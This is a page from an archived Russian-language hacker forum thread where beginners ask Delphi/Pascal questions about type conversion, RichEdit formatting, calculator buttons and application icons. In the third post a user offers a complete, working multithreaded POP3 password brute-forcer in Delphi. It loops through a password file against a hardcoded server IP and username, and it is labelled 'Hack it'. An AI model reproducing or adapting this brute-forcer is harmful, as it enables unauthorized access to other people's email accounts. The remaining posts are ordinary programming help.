[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. A_V

    A_V Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    106
    Likes Received:
    34
    Reputations:
    0
    нда а попроще...
    :)
     
  2. Gho_st

    Gho_st Elder - Старейшина

    Joined:
    24 Jun 2005
    Messages:
    79
    Likes Received:
    9
    Reputations:
    3
    зачем это нужно то вобще?


    можно преобразовать данные из integer в real и на оборот
    просто сначала данные преобразовываеш в строку а потом из строки в другой типа

    например

    Code:
    var var a,b,c,d :integer;
    a1,b1,c1,d1:real;
    e:string;
    ....
    ....
    
    e:=IntToStr(a);
    a1:=StrToFloat(e);
    
    
     
  3. Snik

    Snik New Member

    Joined:
    26 Jun 2008
    Messages:
    15
    Likes Received:
    3
    Reputations:
    0
    A_V,
    Ну на тебе готовый пример брутера (под POP3, правда, но не суть)
    Code:
    unit Unit1;
     
    interface
     
    uses
    Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
    ComCtrls, StdCtrls, WinSock;
     
    type
    TForm1 = class(TForm)
       Button1: TButton;
       ProgressBar1: TProgressBar;
       procedure Button1Click(Sender: TObject);
       procedure FormCreate(Sender: TObject);
    private
       { Private declarations }
    public
       { Public declarations }
    end;
     
    // Описание процесса
    type
    TScan = class(TThread)
       sock2 : TSocket;
       addr:TSockAddrIn;
       WSAData : TWSAData;
    private
       procedure CScan;
    protected
       procedure Execute; override;
    end;
     
    var
    Form1: TForm1;
    // Массив процессов
    Sock : array[1..255] of TScan;
    Rez : boolean = false;
    // Кол-во запущенных процессов на данный момент
    I0 : Integer;
    // Номер текущего пароля
    I : Integer;
    // TStringList с паролями
    PassList : TStringList;
     
     
    const
    FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
    ProcCount = 10; // кол-во процессов
    POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
    User = 'dndanil';
     
    implementation
    {$R *.DFM}
     
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    PassList:=TStringList.Create;
    end;
     
    // Запуск / Остановка
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if Rez then
       Rez:=false
    else
    begin
       // Открытие и загрузка файла паролей
       try
         PassList.Clear;
         PassList.LoadFromFile(FilePass);
       except
       end;
       if PassList.Count<=0 then
       begin
         Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
         exit;
       end;
       Form1.Button1.Caption:='Stop';
       Form1.ProgressBar1.Position:=0;
       // Кол-во паролей
       Form1.ProgressBar1.Max:=PassList.Count;
       Application.ProcessMessages;
       I:=0;
       I0:=1;
       Rez:=true;
       // Запустить все процессы
       while true do
       begin
         Sock[I0]:=TScan.Create(false);
         inc(I0); // Подсчитать их кол-во
         //Выйти если больше указанного, или стоп, или подобрали
         if (I0>ProcCount)or(not Rez) then
           break;
       end;
    end;
    end;
     
    // Проца инициализации процесса
    procedure TScan.Execute;
    begin
    try
       // Запуск цикла
       while true do
       begin
         CScan;
         //Выход, если подобрали или закончился словарь
         if (not Rez)or(I>=PassList.Count) then
           break;
       end;
    except
    end;
    dec(I0);
    try
       Terminate;
    except
    end;
    //Если все процессы прерваны -
    if I0<=1 then
    begin
       Form1.Button1.Caption:='Hack it';
       Rez:=false;
       Application.ProcessMessages;
    end;
    end;
     
    //Проца сканирования
    procedure TScan.CScan;
    var
    iaddr, x, I2 : Integer;
    Buf : array [1..255] of Char;
     
    //Отправка
    procedure sender(str:string);
    var
       I1: integer;
    begin
       for I1:=1 to Length(str) do
         if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
           exit;
    end;
     
    begin
    I2:=I;
    inc(I);
    Form1.ProgressBar1.Position:=I2+1;
    Application.ProcessMessages;
    try
       // Инициализация сокета
       WSAStartUp(257, WSAData);
       sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
       if sock2=INVALID_SOCKET then
       begin
         try
           closesocket(sock2);
         except
         end;
         exit;
       end;
       //Адрес сервака
       iaddr := inet_addr(PChar(POP3serv));
       if iaddr <=0 then
       begin
         try
           closesocket(sock2);
         except
         end;
         exit;
       end;
       addr.sin_family := AF_INET;
       // Порт сервака
       addr.sin_port := htons(110);
       addr.sin_addr.S_addr:=iaddr;
       if (connect(sock2, addr, sizeof(addr))) >0 then
       begin
         try
           closesocket(sock2);
         except
         end;
         exit;
       end;
       //Получение при соединении
       x:=recv(sock2,buf,sizeof(Buf),0);
       if (x=SOCKET_ERROR)or(buf[1]<>'+') then
         exit;
       //"user user"
       sender('user '+User+#13+#10);
       x:=recv(sock2,buf,sizeof(Buf),0);
       if (x=SOCKET_ERROR)or(buf[1]<>'+') then
         exit;
       //"pass password"
       sender('pass '+PassList.Strings[I2]+#13+#10);
       x:=recv(sock2,buf,sizeof(Buf),0);
       //Если подобралось
       if (x>3)and(buf[1]='+') then
       begin
         Rez:=false;
         Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
         exit;
       end;
       try
         closesocket(sock2);
       except
       end;
    except
    end;
    end;
     
    end.
    
     
  4. Snik

    Snik New Member

    Joined:
    26 Jun 2008
    Messages:
    15
    Likes Received:
    3
    Reputations:
    0
    Жесть! А функции integer(), int(), real(), round() и т.п. дураки придумали?
     
    1 person likes this.
  5. Gho_st

    Gho_st Elder - Старейшина

    Joined:
    24 Jun 2005
    Messages:
    79
    Likes Received:
    9
    Reputations:
    3
    xDD
    честно никогда не задумывался о них
     
  6. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Как в RichEdit загнать из символьного массива ,эти самые текстовые символы?
     
  7. dos999

    dos999 Elder - Старейшина

    Joined:
    15 Feb 2008
    Messages:
    137
    Likes Received:
    24
    Reputations:
    0
    o_O? невкурил...
    давай ищё раз и поподробней
    PS. string это тоже символьный масив
     
  8. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием
     
  9. Snik

    Snik New Member

    Joined:
    26 Jun 2008
    Messages:
    15
    Likes Received:
    3
    Reputations:
    0
    Так варианта 2:
    1. присваивать атрибуты для seltext
    2. сразу запихать в него "исходник" RTF, типа
    Code:
    S := '{\rtf1\ansi\ansicpg1251\uc1 \fs16' +   
    '{\b \ul\qc\widctlpar \fs20 ' + {WDCaption +} ' Заголовочег \line \line }' + 'Текст \line ' +  '{\par }}'#0; 
     
  10. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    RichEdit.
    редактируешь, затем сохраняешь файл с расширением rtf
     
  11. alextoun

    alextoun Вылет с Трассы

    Joined:
    7 May 2006
    Messages:
    563
    Likes Received:
    216
    Reputations:
    96
    тут такая жопа возникла
    хз как реализовать. Мы в инсте ещё делфи не проходили :d
    типа как в фотошопе
     
    #1971 alextoun, 15 Aug 2008
    Last edited: 15 Aug 2008
  12. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    нельзя.файл должен быть только один то есть exe
     
  13. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    И так я хочу создать калькулятор
    Задал кнопке событие чтобы оно писало в мое окошечко где все вводиться

    Code:
    procedure TForm1.but1Click(Sender: TObject);
    begin
     txtN.Text:='1';
    end;
    Так он мне выводит в строчку одну единицу а я хочу чтобы было столько единиц скока я нажал на кнопку
    Собственно как изменить код чтобы так и было ( как я пожелаю )

    И вот я еще с чем столкнулся
    Написал событие
    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    begin
     if rad1.Checked:=True then
      begin
       memo1.Lines.Add(txtA.Text);
       txtB.Text(txtA.Text);
       txtC.Text(txtA.Text);
      end;
    end;
    Так оно ругаеться

    [​IMG]
     
    #1973 diznt, 16 Aug 2008
    Last edited: 16 Aug 2008
  14. 0x0c0de

    0x0c0de Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    441
    Likes Received:
    396
    Reputations:
    297
    diznt, надо так

    Code:
    procedure TForm1.but1Click(Sender: TObject);
    begin
     txtN.Text:='1' + txtN.Text;
    end;
    
    и...

    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    begin
     if rad1.Checked then
      begin
       memo1.Lines.Add(txtA.Text);
       txtB.Text(txtA.Text);
       txtC.Text(txtA.Text);
      end;
    end;
    
    Вы в if присваиваите, а это неверно.
     
    #1974 0x0c0de, 16 Aug 2008
    Last edited: 16 Aug 2008
    2 people like this.
  15. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    работа с ресурсами отменена по дефтолу?!!!!!!!
     
    1 person likes this.
  16. W!z@rD

    W!z@rD Борец за русский язык

    Joined:
    12 Feb 2006
    Messages:
    973
    Likes Received:
    290
    Reputations:
    43
    Если я тебя правильно понял:

    procedure TForm1.Button1Click(Sender: TObject);
    var
    rgb: Cardinal;
    begin
    rgb:=ColorBox1.Selected;
    Edit1.Text:=Format('%2x%2x%2x', [GetRValue(rgb), GetGValue(rgb), GetBValue(rgb)]);
    end;


    на форме:
    1. TButton
    2. TColorBox
    3. TEdit

    выбираешь в ColorBox'e цвет
    щелкаешь на батон
    в Edit'e видишь код
     
    2 people like this.
  17. ufalog

    ufalog Elder - Старейшина

    Joined:
    28 Jul 2007
    Messages:
    174
    Likes Received:
    6
    Reputations:
    -5
    как установить иконку в приложении написаном в делфи?
     
  18. zl0y

    zl0y Banned

    Joined:
    13 Sep 2006
    Messages:
    371
    Likes Received:
    270
    Reputations:
    109
    Project->Options->Application
     
  19. z01b

    z01b Муджахид

    Joined:
    5 Jan 2007
    Messages:
    494
    Likes Received:
    382
    Reputations:
    22
    Или заменить в ресурсах =)
     
  20. AKYLA

    AKYLA Elder - Старейшина

    Joined:
    29 Nov 2007
    Messages:
    108
    Likes Received:
    35
    Reputations:
    6
    Расскажите плиз как делают проги для наложения пароля на папки?
    Желательно с какими то примерами Delphi
     
Thread Status:
Not open for further replies.